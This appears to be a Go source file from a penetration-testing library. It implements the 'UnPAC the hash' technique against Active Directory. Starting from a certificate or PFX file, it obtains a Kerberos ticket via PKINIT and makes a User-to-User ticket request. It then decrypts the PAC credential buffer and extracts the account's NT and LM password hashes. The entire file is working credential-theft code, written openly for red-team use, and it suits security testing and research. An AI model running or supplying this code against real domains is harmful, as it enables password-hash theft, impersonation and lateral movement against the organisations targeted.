mirror of
https://github.com/RedTeamPentesting/adauth
synced 2026-06-08 12:20:46 +00:00
361 lines
9.7 KiB
Go
361 lines
9.7 KiB
Go
package pkinit
|
|
|
|
import (
|
|
"context"
|
|
"crypto/rsa"
|
|
"crypto/x509"
|
|
"encoding/asn1"
|
|
"encoding/hex"
|
|
"fmt"
|
|
"os"
|
|
"strings"
|
|
|
|
"github.com/RedTeamPentesting/adauth"
|
|
"github.com/RedTeamPentesting/adauth/ccachetools"
|
|
"github.com/jcmturner/gokrb5/v8/config"
|
|
"github.com/jcmturner/gokrb5/v8/credentials"
|
|
"github.com/jcmturner/gokrb5/v8/iana/nametype"
|
|
"github.com/jcmturner/gokrb5/v8/iana/patype"
|
|
"github.com/jcmturner/gokrb5/v8/krberror"
|
|
"github.com/jcmturner/gokrb5/v8/messages"
|
|
"github.com/jcmturner/gokrb5/v8/types"
|
|
"github.com/oiweiwei/go-msrpc/msrpc/pac"
|
|
"github.com/oiweiwei/go-msrpc/ndr"
|
|
v9_types "github.com/oiweiwei/gokrb5.fork/v9/types"
|
|
)
|
|
|
|
// UnPACTheHash retrieves the user's NT hash via PKINIT using the provided PFX
|
|
// file. The DC argument is optional.
|
|
func UnPACTheHashFromPFX(
|
|
ctx context.Context, username string, domain string, pfxFile string, pfxPassword string,
|
|
dc string, opts ...Option,
|
|
) (*credentials.CCache, *Hash, error) {
|
|
pfxData, err := os.ReadFile(pfxFile)
|
|
if err != nil {
|
|
return nil, nil, fmt.Errorf("read PFX file: %w", err)
|
|
}
|
|
|
|
return UnPACTheHashFromPFXData(ctx, username, domain, pfxData, pfxPassword, dc, opts...)
|
|
}
|
|
|
|
// UnPACTheHash retrieves the user's NT hash via PKINIT using the provided PFX
|
|
// data. The DC argument is optional.
|
|
func UnPACTheHashFromPFXData(
|
|
ctx context.Context, username string, domain string, pfxData []byte, pfxPassword string,
|
|
dc string, opts ...Option,
|
|
) (*credentials.CCache, *Hash, error) {
|
|
cred, err := adauth.CredentialFromPFXBytes(username, domain, pfxData, pfxPassword)
|
|
if err != nil {
|
|
return nil, nil, fmt.Errorf("build credentials from PFX: %w", err)
|
|
}
|
|
|
|
if dc != "" {
|
|
cred.SetDC(dc)
|
|
}
|
|
|
|
krbConf, err := cred.KerberosConfig(ctx)
|
|
if err != nil {
|
|
return nil, nil, fmt.Errorf("configure Kerberos: %w", err)
|
|
}
|
|
|
|
rsaKey, ok := cred.ClientCertKey.(*rsa.PrivateKey)
|
|
if !ok {
|
|
return nil, nil, fmt.Errorf("cannot use %T because PKINIT requires an RSA key", cred.ClientCertKey)
|
|
}
|
|
|
|
return UnPACTheHash(ctx, cred.Username, cred.Domain, cred.ClientCert, rsaKey, krbConf, opts...)
|
|
}
|
|
|
|
// UnPACTheHash retrieves the user's NT hash via PKINIT using the provided
|
|
// certificates.
|
|
func UnPACTheHash(
|
|
ctx context.Context, user string, domain string, cert *x509.Certificate, key *rsa.PrivateKey,
|
|
krbConfig *config.Config, opts ...Option,
|
|
) (*credentials.CCache, *Hash, error) {
|
|
dialer, roundtripDeadline, err := processOptions(opts)
|
|
if err != nil {
|
|
return nil, nil, err
|
|
}
|
|
|
|
krbConfig = &config.Config{
|
|
LibDefaults: krbConfig.LibDefaults,
|
|
Realms: krbConfig.Realms,
|
|
DomainRealm: krbConfig.DomainRealm,
|
|
}
|
|
|
|
krbConfig.LibDefaults.Proxiable = false
|
|
|
|
asReq, dhClientNonce, err := NewASReq(user, domain, cert, key, key.D, krbConfig)
|
|
if err != nil {
|
|
return nil, nil, fmt.Errorf("build ASReq: %w", err)
|
|
}
|
|
|
|
asReq.PAData = append(asReq.PAData, (&PAPACRequest{IncludePAC: true}).AsPAData())
|
|
|
|
asRep, err := ASExchange(ctx, asReq, domain, krbConfig, dialer, roundtripDeadline)
|
|
if err != nil {
|
|
return nil, nil, fmt.Errorf("AS exchange: %w", err)
|
|
}
|
|
|
|
pkinitKey, err := Decrypt(&asRep, key.D, dhClientNonce)
|
|
if err != nil {
|
|
return nil, nil, fmt.Errorf("decrypt ASRep: %w", err)
|
|
}
|
|
|
|
ccache, err := ccachetools.NewCCacheFromASRep(asRep)
|
|
if err != nil {
|
|
return nil, nil, fmt.Errorf("generate CCache: %w", err)
|
|
}
|
|
|
|
tgsReq, err := messages.NewUser2UserTGSReq(
|
|
types.NewPrincipalName(nametype.KRB_NT_PRINCIPAL, user), strings.ToUpper(asRep.CRealm), krbConfig,
|
|
asRep.Ticket, asRep.DecryptedEncPart.Key, types.NewPrincipalName(nametype.KRB_NT_UNKNOWN, user),
|
|
false, asRep.Ticket)
|
|
if err != nil {
|
|
return ccache, nil, fmt.Errorf("generate TGSReq: %w", err)
|
|
}
|
|
|
|
tgsReq.ReqBody.CName = types.PrincipalName{}
|
|
|
|
tgsReq.PAData, err = generatePAData(user, asRep.Ticket, asRep.DecryptedEncPart.Key)
|
|
if err != nil {
|
|
return ccache, nil, fmt.Errorf("generate PAData sequence: %w", err)
|
|
}
|
|
|
|
tgsRep, err := TGSExchange(ctx, tgsReq, krbConfig, domain, dialer, roundtripDeadline)
|
|
if err != nil {
|
|
return ccache, nil, fmt.Errorf("TGS exchange: %w", err)
|
|
}
|
|
|
|
err = tgsRep.DecryptEncPart(asRep.DecryptedEncPart.Key)
|
|
if err != nil {
|
|
return ccache, nil, fmt.Errorf("decrypt TGSRep: %w", err)
|
|
}
|
|
|
|
err = tgsRep.Ticket.Decrypt(asRep.DecryptedEncPart.Key)
|
|
if err != nil {
|
|
return ccache, nil, fmt.Errorf("decrypt service ticket: %w", err)
|
|
}
|
|
|
|
ntHash, err := extractNTHash(tgsRep.Ticket, pkinitKey)
|
|
if err != nil {
|
|
return nil, nil, fmt.Errorf("extract NT hash: %w", err)
|
|
}
|
|
|
|
return ccache, ntHash, nil
|
|
}
|
|
|
|
func extractNTHash(
|
|
tkt messages.Ticket, pkinitKey types.EncryptionKey,
|
|
) (hash *Hash, err error) {
|
|
ifRelevant := types.ADIfRelevant{}
|
|
|
|
for _, authData := range tkt.DecryptedEncPart.AuthorizationData {
|
|
if authData.ADType != 1 {
|
|
continue
|
|
}
|
|
|
|
_, err = asn1.Unmarshal(authData.ADData, &ifRelevant)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("unmarshal ADIfRelevant container: %w", err)
|
|
}
|
|
}
|
|
|
|
if len(ifRelevant) == 0 {
|
|
return nil, fmt.Errorf("no ADIfRelevant container present")
|
|
}
|
|
|
|
var pacData []byte
|
|
|
|
for _, authData := range ifRelevant {
|
|
if authData.ADType != 128 {
|
|
continue
|
|
}
|
|
|
|
pacData = authData.ADData
|
|
}
|
|
|
|
if len(pacData) == 0 {
|
|
return nil, fmt.Errorf("no PACTYPE container present: %w", err)
|
|
}
|
|
|
|
pacType := pac.PACType{}
|
|
|
|
err = ndr.Unmarshal(pacData, &pacType, ndr.Opaque)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("unmarshal PACTYPE: %w", err)
|
|
}
|
|
|
|
var pacCredentialInfoBuffer []byte
|
|
|
|
for _, buffer := range pacType.Buffers {
|
|
if buffer.Type != 2 {
|
|
continue
|
|
}
|
|
|
|
if buffer.Offset+uint64(buffer.BufferLength) > uint64(len(pacData)) {
|
|
return nil, fmt.Errorf("PAC_CREDENTIAL_INFO buffer offset and length are outside of data range")
|
|
}
|
|
|
|
pacCredentialInfoBuffer = pacData[buffer.Offset : buffer.Offset+uint64(buffer.BufferLength)]
|
|
}
|
|
|
|
if len(pacCredentialInfoBuffer) == 0 {
|
|
return nil, fmt.Errorf("could not find PAC_CREDENTIAL_INFO buffer")
|
|
}
|
|
|
|
credInfo := pac.PACCredentialInfo{}
|
|
|
|
err = ndr.Unmarshal(pacCredentialInfoBuffer, &credInfo, ndr.Opaque)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("unmarshal PAC_CREDENTIAL_INFO: %w", err)
|
|
}
|
|
|
|
credData, err := credInfo.DecryptCredentialData((v9_types.EncryptionKey)(pkinitKey))
|
|
if err != nil {
|
|
return nil, fmt.Errorf("decrypt PAC_CREDENTIAL_DATA: %w", err)
|
|
}
|
|
|
|
for _, cred := range credData.Credentials {
|
|
if cred.NTLMSupplementalCredential == nil {
|
|
continue
|
|
}
|
|
|
|
return NewHash(cred.NTLMSupplementalCredential)
|
|
}
|
|
|
|
return nil, fmt.Errorf("could not find NTLM_SUPPLEMENTAL_CREDENTIAL in SECPKG_SUPPLEMENTAL_CRED array")
|
|
}
|
|
|
|
func generatePAData(
|
|
username string, tgt messages.Ticket, sessionKey types.EncryptionKey,
|
|
) (paData types.PADataSequence, err error) {
|
|
auth, err := types.NewAuthenticator(tgt.Realm, types.NewPrincipalName(nametype.KRB_NT_UNKNOWN, username))
|
|
if err != nil {
|
|
return paData, krberror.Errorf(err, krberror.KRBMsgError, "error generating new authenticator")
|
|
}
|
|
|
|
auth.SeqNumber = 0
|
|
|
|
apReq, err := messages.NewAPReq(tgt, sessionKey, auth)
|
|
if err != nil {
|
|
return paData, krberror.Errorf(err, krberror.KRBMsgError, "error generating new AP_REQ")
|
|
}
|
|
|
|
apb, err := apReq.Marshal()
|
|
if err != nil {
|
|
return paData, krberror.Errorf(err, krberror.EncodingError,
|
|
"error marshaling AP_REQ for pre-authentication data",
|
|
)
|
|
}
|
|
|
|
return types.PADataSequence{types.PAData{
|
|
PADataType: patype.PA_TGS_REQ,
|
|
PADataValue: apb,
|
|
}}, nil
|
|
}
|
|
|
|
// Hash represents LM and NT password hashes.
|
|
type Hash struct {
|
|
nt []byte
|
|
lm []byte
|
|
}
|
|
|
|
func NewHash(ntlmSupplementalCredential *pac.NTLMSupplementalCredential) (*Hash, error) {
|
|
hash := &Hash{}
|
|
|
|
if ntlmSupplementalCredential.Flags&1 > 0 {
|
|
hash.lm = ntlmSupplementalCredential.LMPassword
|
|
}
|
|
|
|
if ntlmSupplementalCredential.Flags&2 > 0 {
|
|
hash.nt = ntlmSupplementalCredential.NTPassword
|
|
}
|
|
|
|
// according to the flags, there are no hashes, but we better check for ourselves
|
|
if hash.Empty() {
|
|
if len(ntlmSupplementalCredential.NTPassword) == 16 && nonZero(ntlmSupplementalCredential.NTPassword) {
|
|
hash.nt = ntlmSupplementalCredential.NTPassword
|
|
}
|
|
|
|
if len(ntlmSupplementalCredential.LMPassword) == 16 && nonZero(ntlmSupplementalCredential.LMPassword) {
|
|
hash.lm = ntlmSupplementalCredential.LMPassword
|
|
}
|
|
}
|
|
|
|
if hash.Empty() {
|
|
return nil, fmt.Errorf("NTLM_SUPPLEMENTAL_CREDENTIAL does not contain hashes "+
|
|
"(Flags: 0x%x, NTPassword: 0x%x, LMPassword 0x%x)",
|
|
ntlmSupplementalCredential.Flags,
|
|
ntlmSupplementalCredential.NTPassword, ntlmSupplementalCredential.LMPassword)
|
|
}
|
|
|
|
return hash, nil
|
|
}
|
|
|
|
// NT returns the hex-encoded NT hash or an empty string if no NT hash is
|
|
// present.
|
|
func (h *Hash) NT() string {
|
|
return hex.EncodeToString(h.nt)
|
|
}
|
|
|
|
// NTBytes returns the binary NT hash or an empty slice if no NT hash is
|
|
// present.
|
|
func (h *Hash) NTBytes() []byte {
|
|
return h.nt
|
|
}
|
|
|
|
// NTPresent indicates whether or not an NT hash is present.
|
|
func (h *Hash) NTPresent() bool {
|
|
return h.nt != nil
|
|
}
|
|
|
|
// LM returns the hex-encoded LM hash or an empty string if no LM hash is
|
|
// present.
|
|
func (h *Hash) LM() string {
|
|
return hex.EncodeToString(h.lm)
|
|
}
|
|
|
|
// LMPresent indicates whether or not an LM hash is present.
|
|
func (h *Hash) LMPresent() bool {
|
|
return h.lm != nil
|
|
}
|
|
|
|
// LMBytes returns the binary LM hash or an empty slice if no LM hash is
|
|
// present.
|
|
func (h *Hash) LMBytes() []byte {
|
|
return h.lm
|
|
}
|
|
|
|
// Empty returns true if the structure contains neither LM nor NT hash data.
|
|
func (h *Hash) Empty() bool {
|
|
return h.nt == nil && h.lm == nil
|
|
}
|
|
|
|
// Combined returns the hex-encoded hashes in LM:NT format. If any of these
|
|
// hashes is not present, they are replaced by their respective empty hash
|
|
// value.
|
|
func (h *Hash) Combined() string {
|
|
lm := h.LM()
|
|
if lm == "" {
|
|
lm = "aad3b435b51404eeaad3b435b51404ee"
|
|
}
|
|
|
|
nt := h.NT()
|
|
if nt == "" {
|
|
nt = "31d6cfe0d16ae931b73c59d7e0c089c0"
|
|
}
|
|
|
|
return lm + ":" + nt
|
|
}
|
|
|
|
func nonZero(d []byte) bool {
|
|
for i := 0; i < len(d); i++ {
|
|
if d[i] != 0 {
|
|
return true
|
|
}
|
|
}
|
|
|
|
return false
|
|
}
|